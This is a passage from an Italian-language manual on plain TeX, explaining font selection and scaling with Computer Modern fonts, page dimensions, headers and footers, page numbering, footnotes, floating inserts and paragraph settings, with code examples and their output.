In pratica, è sufficiente definire una parola di controllo alternativa alle sequenze che non si possono riprodurre facilmente. Ecco un esempio concreto per gli accenti grave a acuto:

```
\def\graveaccent#1{{\accent18 #1}}
\def\acuteaccent#1{{\accent19 #1}}
```

In questo modo, al posto di '**``\`e``**' si può scrivere '**`\graveaccent{e}`**', anche se ciò richiede una digitazione un po' lunga.

Per quanto riguarda le parentesi quadre, queste possono essere rappresentate con la coppia '**`\lbrack`**' e '**`\rbrack`**' per rappresentare rispettivamente la parentesi aperta e quella chiusa. Per le parentesi graffe le cose si complicano: per inserirle nel testo come simboli tipografici, si possono usare le istruzioni '**`$\lbrace$`**' e '**`$\rbrace$`**', che come si vede richiedono un contesto matematico, come già avveniva con '**`$\{$`**' e '**`$\}$`**', ma questo significa anche che

non c'è un'alternativa alle parentesi graffe usate nelle istruzioni con finalità differenti, salvo la possibilità di usare '**\bgroup**' e '**\egroup**' quando si tratta di raggruppamenti.

Tabella 61.99. Alternative ad alcune sequenze di controllo che possono creare difficoltà con tastiere incomplete.

Sequenza normale	Alternativa
`	\lq
'	\rq
\`	{\accent 18 ***x***}
\'	{\accent 19 ***x***}
[	\lbrack
]	\rbrack
$\{$	$\lbrace$
$\}$	$\rbrace$

61.10.5 Caratteri da stampa standard

In condizioni normali, TeX mette a disposizione un carattere tondo con grazie. È possibile cambiare il gruppo stilistico e la forma del carattere con comandi generici, che non fanno riferimento a un nome preciso, ma a un aspetto di massima. Questi comandi hanno effetto dal momento in cui vengono inseriti, fino a quando ne viene incontrato un altro, oppure fino alla fine del raggruppamento in cui si trovano. Si tratta di parole di controllo di due sole lettere, elencate brevemente nella tabella 61.100.

Tabella 61.100. Selezione standard del tipo di carattere.

Sequenza	Nome	Significato	Nome corrispondente
\rm	*roman*	tondo	cmr10
\bf	*boldface*	neretto	cmbx10
\it	*italic*	corsivo	cmti10
\sl	*slanted*	inclinato	cmsl10
\tt	*typewriter*	dattilografico	cmtt10

È importante osservare che l'uso di queste parole di controllo non va a sommarsi con le precedenti, cambiando il gruppo stilistico e la forma simultaneamente. In pratica, in condizioni normali, non si può ottenere un neretto-corsivo o un neretto-inclinato combinando i comandi relativi. Si osservi l'esempio che segue:

```
Testo iniziale, \bf testo in neretto, \it testo in corsivo, \sl testo
inclinato, \tt testo dattilografico, \rm testo tondo normale.
L'uso delle parentesi graffe {\it consente di circoscrivere} l'effetto
dei comandi che intervengono sul tipo di carattere.
```

Testo iniziale, **testo in neretto,** *testo in corsivo, testo inclinato,* `testo dattilografico,` testo tondo normale. L'uso delle parentesi graffe *consente di circoscrivere* l'effetto dei comandi che intervengono sul tipo di carattere.

Prima di proseguire sull'argomento è il caso di osservare un problema che si presenta nel momento in cui si utilizza un carattere inclinato o corsivo: lo spostamento verso destra può creare degli inconvenienti, quando si incontra con un testo non inclinato. In caso di necessità si può aggiungere un piccolo spazio, inteso come correzione del corsivo, con il simbolo di controllo '**\/**', che rappresenta simbolicamente il concetto. Si osservi l'esempio seguente:

```
(testo normale tra parentesi tonde che finisce con una lettera l) \par
({\it testo corsivo tra parentesi tonde che finisce con una lettera l}) \par
({\it testo corsivo con correzione dopo la lettera l}\/) \par
```

(testo normale tra parentesi tonde che finisce con una lettera l)
(*testo corsivo tra parentesi tonde che finisce con una lettera l*)
(*testo corsivo con correzione dopo la lettera l*)

Le parole di controllo '**\rm**', '**\it**', '**\sl**', '**\bf**' e '**\tt**' sono delle piccole macro-istruzioni standard di TeX. Infatti, le informazioni sui caratteri da stampa sono contenute in file particolari che possono essere utilizzati con l'istruzione seguente:

\font***nome***=***carattere***

In pratica, in questo modo si dichiara una parola di controllo a cui si attribuisce il carattere indicato a destra. Il nome del carattere corrisponde solitamente alla prima parte del nome del file che lo contiene (la radice che rimane togliendo l'estensione) e si può esprimere usando indifferentemente lettere maiuscole o minuscole. Nell'esempio seguente, si dichiara un carattere tondo senza grazie, corrispondente al nome '**cmss10**':

```
\font\sans=cmss10
\sans Ecco un testo senza grazie, scritto con il carattere
``Computer Modern Sans Serif'' da 10 punti.
```

Ecco un testo senza grazie, scritto con il carattere "Computer Modern Sans Serif" da 10 punti.

Il carattere da stampa che si seleziona in questo modo ha già un corpo stabilito. In questo caso si tratta di un carattere da 10 punti. Per cambiare corpo, si può cambiare carattere, oppure si può ingrandire e ridurre espressamente, intervenendo nell'istruzione di dichiarazione:

\font***nome***=***carattere*** scaled ***n***

Il numero ***n*** che si indica alla fine esprime un rapporto in millesimi dell'adattamento che si vuole ottenere. Per esempio,

```
\font\sans=cmss10 scaled 1200
```

richiede espressamente di abbinare alla parola di controllo '**\sans**' il carattere '**cmss10**' al 120 %, cioè ingrandito di un quinto in più.

```
\font\sans=cmss10 scaled 1200
\sans Ecco un testo senza grazie, scritto con il carattere
``Computer Modern Sans Serif'' da 10 punti, ingrandito al 120 \%.
```

Ecco un testo senza grazie, scritto con il carattere "Computer Modern Sans Serif" da 10 punti, ingrandito al 120 %.

Naturalmente, con lo stesso criterio si può anche ridurre un carattere, sempre tenendo presente che 1 000 rappresenta la dimensione di partenza. Tuttavia, in generale non si usa questa forma, sostituendo il numero con un'istruzione apposita, utile a livello mnemonico:

```
\font\nome=carattere scaled \magstep n
```

In questo caso, il numero ***n*** può andare da zero a cinque, dove zero corrisponde al corpo attuale, mentre valori maggiori rappresentano piccoli incrementi percentuali. A ogni modo si può verificare facilmente cosa succede, con il codice TeX seguente:

```
\newcount\ingrandimento
\ingrandimento=\magstep 1
\font\sans=cmss10 scaled \magstep 1
\sans Ecco un testo senza grazie, scritto con il carattere
``Computer Modern Sans Serif'' da 10 punti, ingrandito al \the\ingrandimento{}
per mille.
```

Ecco un testo senza grazie, scritto con il carattere "Computer Modern Sans Serif" da 10 punti, ingrandito al 1200 per mille.

A questo punto si pone il problema di comprendere l'utilità di usare un carattere da stampa adatto alla dimensione del corpo che interessa. In pratica, se il carattere corrispondente alla sigla '**cmr5**' è fatto per un corpo da cinque punti, quando serve un corpo da 12 è bene usare il carattere '**cmr12**', se disponibile, invece di ingrandire il primo 2,4 volte (240 %). Si osservi l'esempio seguente, in cui si mettono a confronto diversi caratteri di piccole dimensioni che vengono ingranditi tutti in modo da avere un corpo finale di 12 punti:

```
\font\cinque=cmr5 scaled 2400
\cinque Il carattere cmr5 ingrandito al 240 \% \par
\font\sei=cmr6 scaled 2000
\sei Il carattere cmr6 ingrandito al 200 \% \par
\font\sette=cmr7 scaled 1714
\sette Il carattere cmr7 ingrandito al 171,4 \% \par
\font\otto=cmr8 scaled 1500
\otto Il carattere cmr8 ingrandito al 150 \% \par
\font\nove=cmr9 scaled 1333
\nove Il carattere cmr9 ingrandito al 133 \% \par
\font\dieci=cmr10 scaled 1200
\dieci Il carattere cmr10 ingrandito al 120 \% \par
```

```
\font\normale=cmr12
\normale Il carattere cmr12 senza ingrandimenti \par
```

Il carattere cmr5 ingrandito al 240 %
Il carattere cmr6 ingrandito al 200 %
Il carattere cmr7 ingrandito al 171,4 %
Il carattere cmr8 ingrandito al 150 %
Il carattere cmr9 ingrandito al 133 %
Il carattere cmr10 ingrandito al 120 %
Il carattere cmr12 senza ingrandimenti

Tabella 61.114. Nomi dei caratteri da stampa standard a disposizione (Computer Modern).

Sigla	Denominazione originale	Corpo
cmbsy10	Computer Modern Bold Symbols	10 punti
cmbx5 cmbx6 cmbx7 cmbx8 cmbx9 cmbx10 cmbx12	Computer Modern Bold Extended Roman	5, 6, 7, 8, 9, 10 e 12 punti
cmbxsl10	Computer Modern Bold Extended Slanted Roman	10 punti
cmcsc10	Computer Modern Caps and Small Caps	10 punti
cmdunh10	Computer Modern Dunhill Roman	10 punti
cmex9 cmex10	Computer Modern Math Extension	9 e 10 punti
cmff10	Computer Modern Funny Roman	10 punti
cmfi10	Computer Modern Funny Italic	10 punti
cmfib8	Computer Modern Fibonacci Font	8 punti
cminch	Computer Modern Inch-High Sans Serif Bold Extended Caps and Digits	1 pollice
cmitt10	Computer Modern Italic Typewriter Text	10 punti
cmmi5 cmmi6 cmmi7 cmmi8 cmmi9 cmmi10 cmmi12	Computer Modern Math Italic	5, 6, 7, 8, 9, 10 e 12 punti
cmr5 cmr6 cmr7 cmr8 cmr9 cmr10 cmr12 cmr17	Computer Modern Roman	5, 6, 7, 8, 9, 10, 12 e 17 punti
cmsl8 cmsl9 cmsl10 cmsl12	Computer Modern Slanted Roman	8, 9, 10 e 12 punti
cmsltt10	Computer Modern Slanted Typewriter Text	10 punti

Sigla	Denominazione originale	Corpo
cmss8 cmss9 cmss10 cmss12 cmss17	Computer Modern Sans Serif	8, 9, 10, 12 e 17 punti
cmssbx10	Computer Modern Sans Serif Bold Extended	10 punti
cmssdc10	Computer Modern Sans Serif Demibold Condensed	10 punti
cmssi8 cmssi9 cmssi10 cmssi12 cmssi17	Computer Modern Slanted Sans Serif	8, 9, 10, 12 e 17 punti
cmssq8	Computer Modern Sans Serif Quotation Style	8 punti
cmssqi8	Computer Modern Sans Serif Quotation Style Slanted	8 punti
cmsy5 cmsy6 cmsy7 cmsy8 cmsy9 cmsy10	Computer Modern Math Symbols	5, 6, 7, 8, 9 e 10 punti
cmtcsc10	Computer Modern Typewriter Caps and Small Caps	10 punti
cmtex8 cmtex9	Computer Modern TeX Extended ASCII characters	8 e 9 punti
cmti7 cmti8 cmti9 cmti10 cmti12	Computer Modern Text Italic	7, 8, 9, 10 e 12 punti
cmtt8 cmtt9 cmtt10 cmtt12	Computer Modern Typewriter Text	8, 9, 10 e 12 punti
cmu10	Computer Modern Unslanted Italic	10 punti
cmvtt10	Computer Modern Variable-width Typewriter Text	10 punti

A fianco delle parole di controllo generiche per la selezione del carattere da stampa, esistono altre parole di controllo standard che contengono anche l'informazione sulla dimensione. Si tratta dell'elenco riportato nella tabella 61.115. Ciò permette di non utilizzare una definizione dettagliata del carattere quando quello che serve cambiare è solo la dimensione (entro i limiti normali già previsti).

Tabella 61.115. Parole di controllo per la selezione di un carattere da stampa generico, con l'indicazione della dimensione.

Parola di controllo	Effetto
`\tenrm`	Tondo, 10 punti.
`\sevenrm`	Tondo, sette punti.
`\fiverm`	Tondo, cinque punti.
`\tenit`	Corsivo, 10 punti.
`\tenbf`	Neretto, 10 punti.

Parola di controllo	Effetto
`\sevenbf`	Neretto, sette punti.
`\fivebf`	Neretto, cinque punti.
`\tentt`	Dattilografico, 10 punti.
`\tensl`	Inclinato, 10 punti.
`\teni`	Corsivo matematico, 10 punti.
`\seveni`	Corsivo matematico, sette punti.
`\fivei`	Corsivo matematico, cinque punti.
`\tensy`	Simboli matematici, 10 punti.
`\sevensy`	Simboli matematici, sette punti.
`\fivesy`	Simboli matematici, cinque punti.
`\tenex`	Estensione ai simboli matematici, 10 punti.

61.10.6 Sottolineatura

La gestione della sottolineatura con TeX è separata da quella che riguarda la forma e la dimensione dei caratteri. Si tratta solo di una linea orizzontale che viene collocata al di sotto del testo, a una distanza che varia in funzione delle caratteristiche del testo, che si ottiene con la macro '**`\underbar`**':

```
\underbar{testo_da_sottolineare}
```

La linea con cui si ottiene questa sottolineatura crea implicitamente una scatola orizzontale (sezione 61.14) che non può essere suddivisa in più righe. Si osservi l'esempio seguente:

```
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
\underbar{bla bla bla bla bla bla bla bla bla bla bla bla} bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla.
```

Dal momento che il testo sottolineato è molto lungo e si trova verso la fine di una riga, TeX non può separarlo e si crea un problema estetico molto spiacevole:

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

61.11 La pagina

In condizioni normali, la pagina a cui si fa riferimento con TeX è il tipo Lettera, larga 8,5 pollici e alta 11 pollici. Nell'ambito di questo spazio, il testo occupa normalmente un rettangolo di 6,5 pollici per 8,9 pollici, con un margine uguale di un pollice (salvo il margine inferiore che è di 1,1 pollici).

Al di sopra e al di sotto di questo rettangolo è possibile collocare una riga, con lo scopo normale di indicare il nome della sezione o il numero della pagina. In condizioni normali, in basso appare proprio il numero della pagina, ma può essere fatto sparire con l'istruzione '**`\nopagenumbers`**'.

Le dimensioni della pagina possono essere modificate, ma non si fa riferimento a una pagina e ai suoi margini; si interviene piuttosto sulla posizione di partenza, sulla larghezza (ovvero la giustezza) e sull'altezza dello spazio a disposizione dei paragrafi.

61.11.1 La parte centrale della pagina

La parte centrale della pagina è controllata da quattro variabili, rappresentate dalle parole di controllo '**`\hoffset`**', '**`\voffset`**', '**`\hsize`**' e '**`\vsize`**', le quali controllano rispettivamente le coordinate iniziali, la giustezza e l'altezza dell'area di scrittura.

Tabella 61.118. Parole di controllo che regolano le dimensioni e la collocazione dell'area di scrittura centrale nella pagina.

Parola di controllo	Competenza	Valore predefinito
`\hoffset`	Posizione orizzontale iniziale	0
`\voffset`	Posizione verticale iniziale	0
`\hsize`	Giustezza, a partire da '**`\voffset`**'	6,5 pollici
`\vsize`	Altezza, a partire da '**`\hoffset`**'	8,9 pollici

È importante osservare che le coordinate zero di '**`\hoffset`**' e '**`\voffset`**' rappresentano un punto in alto a sinistra del foglio, collocato a destra e in basso di un pollice rispetto all'angolo superiore sinistro del foglio stesso. In pratica, per indicare valori inferiori del margine superiore e di quello sinistro, si devono attribuire a queste parole di controllo dei valori negativi.

Figura 61.119. Area del testo nella pagina.

L'esempio seguente consente di verificare il valore predefinito che viene restituito da queste parole di controllo:

```
$\backslash$hoffset = \the\hoffset \par
$\backslash$voffset = \the\voffset \par
$\backslash$hsize = \the\hsize \par
$\backslash$vsize = \the\vsize \par
```

\hoffset = 0.0pt
\voffset = 0.0pt
\hsize = 398.33858pt
\vsize = 643.20255pt

I valori vengono mostrati in punti, ma si verifica facilmente la corrispondenza con quanto mostrato nella tabella 61.118.

È importante sottolineare che le coordinate di partenza rappresentano l'angolo superiore sinistro dell'area in cui si inserisce il testo; pertanto, l'altezza espressa dalla parola di controllo '**`\vsize`**', si sviluppa in basso, a partire da quel punto.

Il testo che si scrive nel sorgente TeX parte dalle coordinate iniziali e, salvo l'uso di comandi appositi, viene impaginato automaticamente; quando lo spazio verticale viene esaurito, si passa automaticamente a un'altra pagina.

È importante sottolineare che le modifiche apportate alle coordinate iniziali e all'altezza del testo della pagina hanno effetto a partire dalla pagina corrente; inoltre, se i valori vengono cambiati più volte, contano le ultime modifiche che si possono ricondurre alla pagina corrente. Fa eccezione a questa regola la giustezza del testo, controllata dalla parola di controllo '**`\hsize`**', che può essere modificata in qualunque momento, intervenendo a partire dal paragrafo in cui appare, senza coinvolgere il testo precedente nella stessa pagina.

Eventualmente, se prima di scrivere alcunché, si colloca un'istruzione come quella seguente,

```
\magnification=n
```

si ottiene un ingrandimento o una riduzione di tutte le dimensioni, compreso il corpo dei caratteri. In pratica, il numero ***n*** che si assegna a '**`\magnification`**' è un valore che esprime la riduzione o l'ingrandimento in rapporto a 1000, come già avveniva con il ridimensionamento dei caratteri da stampa. In questo senso, al posto del numero si può usare anche la parola di controllo '**`\magstep`**', come è già stato mostrato in precedenza:

```
\magnification=\magstep n
```

In questo caso, ***n*** esprime un valore intero, da zero a cinque.

La definizione di un ingrandimento o di una riduzione ha effetto su tutti i comandi che definiscono una dimensione; per esempio, se si usa un ingrandimento di 2000, pari al doppio, volendo indicare una dimensione di un centimetro, si ottengono in pratica due centimetri.

Quando si intende indicare una lunghezza esatta, che non possa essere ridimensionata, si usa la parola chiave '**`true`**' davanti all'unità di misura. Per esempio, '**`5cm`**' è una lunghezza adattabile, mentre '**`5truecm`**', oppure '**`5 true cm`**', indica sempre cinque centimetri.

In condizioni normali, TeX cerca di occupare tutto lo spazio orizzontale e tutto lo spazio verticale, giustificando orizzontalmente e verticalmente (ovvero allineando simultaneamente a sinistra e a destra, in alto e in basso). In particolare, l'allineamento verticale del testo viene controllato da due parole di controllo: '**`\normalbottom`**' e '**`\raggedbottom`**'. Nel primo caso si ha la situazione «normale», ovvero l'allungamento del testo in modo da completare lo spazio verticale di ogni pagina, mentre nel secondo caso questo allungamento non ha luogo.

TeX mette a disposizione un'istruzione per il salto pagina anticipato che si ottiene con la parola di controllo '**`\eject`**'. Quando l'impaginazione è quella normale, ovvero quella corrispondente alla parola di controllo '**`\normalbottom`**', l'inserimento di un salto pagina costringe TeX a fare in modo che il testo esistente, per quanto breve possa essere, finisca esattamente alla fine di '**`\vsize`**'. Per evitare di produrre degli allungamenti sgradevoli del testo, pur senza disabilitare globalmente la funzionalità di allineamento verticale, si può usare un comando per l'inserimento di uno spazio verticale allungabile in modo indefinito, il quale si ottiene con la parola di controllo '**`\vfill`**'. Pertanto, quando si vuole inserire un salto pagina si usa generalmente un'istruzione composta da entrambe le parole di controllo, come nell'esempio seguente:

```
\vfill \eject
```

Inizialmente è stato indicato l'uso dell'istruzione '**\bye**' per concludere un sorgente TeX. In realtà, '**\bye**' è una macro-istruzione realizzata per concludere bene un testo, in cui si utilizza anche '**\vfill**' per non allungare il contenuto della pagina stessa. L'istruzione primitiva per concludere il documento è invece '**\end**'.

Anche '**\eject**' è una macro, che utilizza in pratica '**\break**', dopo un passaggio in modalità verticale, in modo da dare a '**\break**' il contesto corretto.

Eventualmente, esiste anche un'altra macro, oltre a '**\eject**', il cui scopo è quello di garantire il salto pagina in ogni circostanza. Si tratta di '**\supereject**'.

61.11.2 Intestazione e fondo pagina

Oltre alla parte centrale della pagina, è possibile accedere a una riga di intestazione e a una riga alla base della pagina, le quali appaiono rispettivamente sullo spazio del margine superiore e del margine inferiore. Queste righe vengono annotate in due variabili apposite, a cui si accede con le parole di controllo '**\headline**' e '**\footline**':

\headline={***intestazione***}

\footline={***fondo_pagina***}

In condizioni normali, la variabile che contiene la riga di fondo pagina è già impostata con l'espressione '**\folio\pageno**', con la quale si estrae dal contatore '**\pageno**' il valore corrispondente al numero di pagina. Inoltre, per eliminare il fondo pagina predefinito in questo modo, si utilizza normalmente la parola di controllo '**\nopagenumbers**', come sinonimo di azzeramento, al posto di scrivere '**\footline={}**'.

Il testo che viene associato all'intestazione e al fondo pagina, risulta allineato a destra e a sinistra, simultaneamente. Tuttavia, attraverso l'uso della parola di controllo '**\hfil**', si riescono a ottenere degli effetti utili di allineamento. La parola di controllo '**\hfil**' ha la proprietà di inserire uno spazio allungabile, ma può essere utilizzata più volte, suddividendo equamente lo spazio della riga. Per esempio, scrivendo

```
\headline={sinistra \hfil centro \hfil destra}
```

si ottiene la suddivisione che si può vedere qui sotto:

sinistra centro destra

Quando si distingue tra pagine destre e sinistre, si può usare la struttura condizionale comandata dalla parola di controllo '**\ifodd**' per modificare l'aspetto delle intestazioni o dei fondo pagina. Nell'esempio seguente si vuole mettere il numero della pagina nell'intestazione, facendo in modo che appaia verso l'estremità esterna della pagina:

```
\headline={%
\ifodd \pageno
    {bla bla bla \hfil \the\pageno}
\else
    {\the\pageno \hfil bla bla bla}
\fi}
```

Nell'esempio vengono racchiuse le due alternative tra parentesi graffe, perché altrimenti '**\pageno**' creerebbe dei problemi con la prima ipotesi. Non sarebbe necessario il raggruppamento della seconda alternativa, ma qui lo si fa per motivi «estetici».

L'espressione dell'intestazione o del fondo pagina, viene espansa ogni volta, nel momento in cui serve. Tuttavia, in questo modo, le impostazioni riferite al carattere da stampa usato nel testo normale potrebbero influenzare l'aspetto di queste righe. Per sicurezza, conviene completare la definizione di intestazione e fondo pagina con l'indicazione del carattere da stampa, completo dell'informazione sulla sua dimensione, come nell'esempio seguente, in cui si richiede espressamente un carattere inclinato di 10 punti:

```
\headline={\tensl Questa \'e una bella intestazione}
```

61.11.3 Numerazione delle pagine

La numerazione delle pagine avviene in modo automatico, attraverso la gestione del contatore '**\pageno**'. In condizioni normali, la prima pagina ha il numero uno e a ogni salto pagina si ha un incremento di questo valore.

L'impostazione predefinita della riga che appare a fondo pagina, è tale per cui se il contatore contiene un valore positivo, si mostra un numero arabo normale, mentre se il valore è negativo, si mostra la pagina in numero romano. Per la precisione, ciò si ottiene attraverso la parola di controllo '**\folio**' che, senza bisogno di trasformazioni, restituisce il numero della pagina secondo questa convenzione.

In particolare, se il contatore '**\pageno**' contiene un valore positivo, ogni salto pagina continua a incrementarlo, mentre se ha un valore negativo, si ottiene un decremento, proprio in base alla logica della riga di fondo pagina predefinita.

Nel momento in cui si intende gestire il numero della pagina che appare nel fondo pagina, o nella riga di intestazione, non ha più importanza questa convenzione sul segno positivo o negativo; quello che conta è reinizializzare il contatore quando serve.

Il vero problema che si pone è quello di rappresentare le pagine attraverso numeri romani con lettere maiuscole. L'esempio seguente mostra la macro '**\Roman**' realizzata per ottenere la trasformazione in numero romano maiuscolo del suo argomento:

```
\def\Roman#1{\uppercase\expandafter{\romannumeral #1}}
```

La macro va usata ovviamente così:

```
\Roman{n}
```

61.11.4 Note a piè di pagina

Le note a piè di pagina sono gestite automaticamente attraverso la macro standard '**`\footnote`**', inserendole alla base della pagina, entro lo spazio stabilito da '**`\vsize`**'.

```
\footnote{simbolo}{testo_della_nota}
```

In pratica, la nota viene inserita nel testo, nel punto in cui si vuole che appaia il simbolo definito come primo parametro, poi la composizione colloca la nota dove più appropriato, preceduta sempre dallo stesso simbolo di riferimento.

Il simbolo usato per fare riferimento alla nota può essere scelto liberamente, tenendo conto che TeX non fa nulla per adattarlo. Pertanto, se l'intenzione è quella di usare il classico numero ad apice, occorre provvedere esplicitamente a sollevarlo, come nell'esempio seguente:

```
Bla bla\footnote{$^1$}{Questa è la mia prima nota a piè pagina.} bla bla...
```

Generalmente, si numerano le note a piè pagina, ma TeX non offre un meccanismo automatico di numerazione. Tuttavia è facile rimediare attraverso la definizione di un contatore apposito:

```
\newcount\nota
\nota=0
\def\annotazione#1{\advance\nota by 1 \footnote{$^{\number\nota}$}{#1}}
```

Successivamente, invece di usare direttamente '**`\footnote`**', si può inserire la macro '**`\annotazione`**', la quale provvede da sola a incrementare il contatore '**`\nota`**', inserendo il numero corrispondente come apice. Eventualmente, quando si comincia con una sezione importante, che parte da una pagina nuova, può essere conveniente riazzerare il conteggio.

L'esempio mostrato però non è completo. Infatti, la macro '**`\annotazione`**' potrebbe essere inserita per qualche ragione in un gruppo isolato, per cui, l'incremento del contatore della pagina verrebbe perduto; inoltre, il tipo di carattere usato per le note viene ereditato dal punto in cui si trova l'inserimento. Per ovviare a questi inconvenienti, si può modificare la macro '**`\annotazione`**' nel modo seguente:

```
\def\annotazione#1{\global\advance\nota by 1
\footnote{$^{\number\nota}$}{\sevenrm #1}}
```

In questo modo, l'incremento del contatore diventa globale e si fissa il carattere da usare per le note in un tondo normale con un corpo da sette punti.

61.11.5 Oggetti fluttuanti

Nell'ambito del testo è possibile individuare delle zone che devono rimanere unite, nel senso che non possono apparire separate tra una pagina e la successiva, per cui si stabilisce una collocazione che non segue il flusso normale del testo. Questi ambienti sono introdotti da una parola di controllo particolare:

```
\midinsert
testo_e_altre_istruzioni
...
\endinsert
```

```
\topinsert
testo_e_altre_istruzioni
...
\endinsert
```

```
\pageinsert
testo_e_altre_istruzioni
...
\endinsert
```

Nel primo caso, quanto contenuto tra '**\midinsert**' e '**\endinsert**' viene collocato nella posizione in cui appare, se c'è lo spazio verticale sufficiente nella pagina, altrimenti viene spostato all'inizio della pagina successiva, lasciando che il testo che seguirebbe venga anticipato al suo posto nella pagina che termina.

Nel secondo caso, quanto contenuto tra '**\topinsert**' e '**\endinsert**' viene collocato all'inizio della pagina in cui si trova, anticipando eventualmente del testo che lo precede.

Nel terzo caso, quanto contenuto tra '**\pageinsert**' e '**\endinsert**' viene collocato in una pagina indipendente, che non può contenere altro.

Questi ambienti, eventualmente con l'uso di spazi verticali, permettono comunemente di riservare degli spazi per le figure.

61.12 Paragrafi

Il testo scritto con TeX viene reimpaginato in paragrafi, corrispondenti ai blocchi separati da almeno una riga bianca o vuota, oppure dalla parola di controllo '**\par**'.

Le caratteristiche comuni dei paragrafi vengono definite dai valori contenuti in alcune variabili, a cui si accede attraverso altrettante parole di controllo. Si tratta della giustezza, corrispondente a '**\hsize**', della dimensione del rientro della prima riga, corrispondente a '**\parindent**', della distanza tra le righe (tra la base delle righe), corrispondente a '**\baselineskip**', della distanza tra i paragrafi, corrispondente a '**\parskip**'.

Tabella 61.131. Parole di controllo che regolano o condizionano le caratteristiche dei paragrafi comuni.

Parola di controllo	Competenza	Condizione o valore predefinito
`\hoffset`	Posizione iniziale dei paragrafi nella pagina.	0
`\hsize`	Larghezza del paragrafo a partire da '**`\hoffset`**'.	6,5 pollici
`\parindent`	Rientro della prima riga.	20 punti
`\baselineskip`	Distanza tra la base di una riga e la base della riga successiva.	12 punti
`\parskip`	Distanza aggiuntiva tra i paragrafi.	0
`\raggedright`	Allinea il testo a sinistra.	allineato simultaneamente a sinistra e a destra
`\leftskip`	Rientro sinistro complessivo.	0
`\rightskip`	Rientro destro complessivo.	0

Si può provare a verificare i valori predefiniti con l'esempio seguente:

```
hoffset = \the\hoffset \par
hsize = \the\hsize \par
parindent = \the\parindent \par
baselineskip = \the\baselineskip \par
parskip = \the\parskip \par
leftskip = \the\leftskip \par
rightskip = \the\rightskip \par
```

hoffset = 0.0pt
hsize = 398.33858pt
parindent = 20.0pt
baselineskip = 12.0pt
parskip = 0.0pt plus 1.0pt
leftskip = 0.0pt
rightskip = 0.0pt

Sia '**`\parskip`**' che '**`\baselineskip`**' consentono l'attribuzione di lunghezze elastiche. Come si può osservare dall'esempio, il valore predefinito di '**`\baselineskip`**' non prevede elasticità, mentre '**`\parskip`**' consente un leggero allungamento. Si tenga presente che, anche se è stato indicato un allungamento di un solo punto, in pratica, nella composizione finale si possono ottenere allungamenti molto maggiori in caso di necessità.

Come si intende, in condizioni normali i paragrafi iniziano con un rientro, senza essere distanziati tra di loro. Se questo tipo di approccio è ciò che si desidera, quando eccezionalmente si vuole un paragrafo senza rientro, come si fa di solito dopo un titolo, basta usare la parola di controllo '**`\noindent`**' che ha effetto solo nel paragrafo in cui si trova.

Per modificare la posizione verticale e la larghezza dei paragrafi, invece di intervenire sul valore controllato dalla parola di controllo '**`\hsize`**' (su '**`\hoffset`**' non si può intervenire, perché riguarda la pagina intera), conviene usare invece '**`\leftskip`**' e '**`\rightskip`**', le

quali si riferiscono rispettivamente a un rientro sinistro e a un rientro destro. In pratica, se invece si vuole estendere il paragrafo oltre il margine sinistro fissato da '**`\hoffset`**', oppure si vuole andare oltre il margine destro stabilito da '**`\hsize`**', basta usare valori negativi per i rientri. L'esempio seguente mostra il caso di un paragrafo rientrato a sinistra e a destra per scrivere un'annotazione che risalti agli occhi del lettore:

```
\leftskip=1cm
\rightskip=1cm
{\bf Attenzione}: bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla.

\leftskip=0cm
\rightskip=0cm
Questo \`e invece un paragrafo normale bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
```

Attenzione: bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Questo è invece un paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Si vede dall'esempio la necessità di intervenire successivamente per ripristinare i valori normali dei rientri.

I rientri definiti attraverso '**`\leftskip`**' e '**`\rightskip`**', possono essere gestiti anche attraverso la macro-istruzione '**`\narrower`**', con cui si incrementa il loro valore di '**`\parskip`**'. In pratica, usando l'istruzione '**`\narrower`**' i margini del testo vengono aumentati di quanto contenuto in '**`\parskip`**'. Naturalmente, l'effetto di tale istruzione vale per tutti i paragrafi successivi, a meno che sia inserita in un raggruppamento; in alternativa si può intervenire nuovamente su '**`\leftskip`**' e '**`\rightskip`**' per ripristinare dei valori normali.

Un paragrafo risulta normalmente allineato simultaneamente a sinistra e a destra. Se si vuole eliminare l'allineamento destro, si utilizza la parola di controllo '**`\raggedright`**':

```
Questo \`e un paragrafo normale allineato a sinistra e a destra, ma non
tutti gli autori gradiscono questo sistema di impaginazione orizzontale.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla.

{\raggedright In questo paragrafo, invece, l'allineamento del testo al
margine destro, non ha luogo. Purtroppo, non c'\`e una parola di
controllo opposta per ripristinare l'allineamento normale, pertanto,
occorre racchiudere l'istruzione in un raggruppamento. Si osservi che il
paragrafo viene concluso prima della fine del raggruppamento. Bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla. \par}
```

```
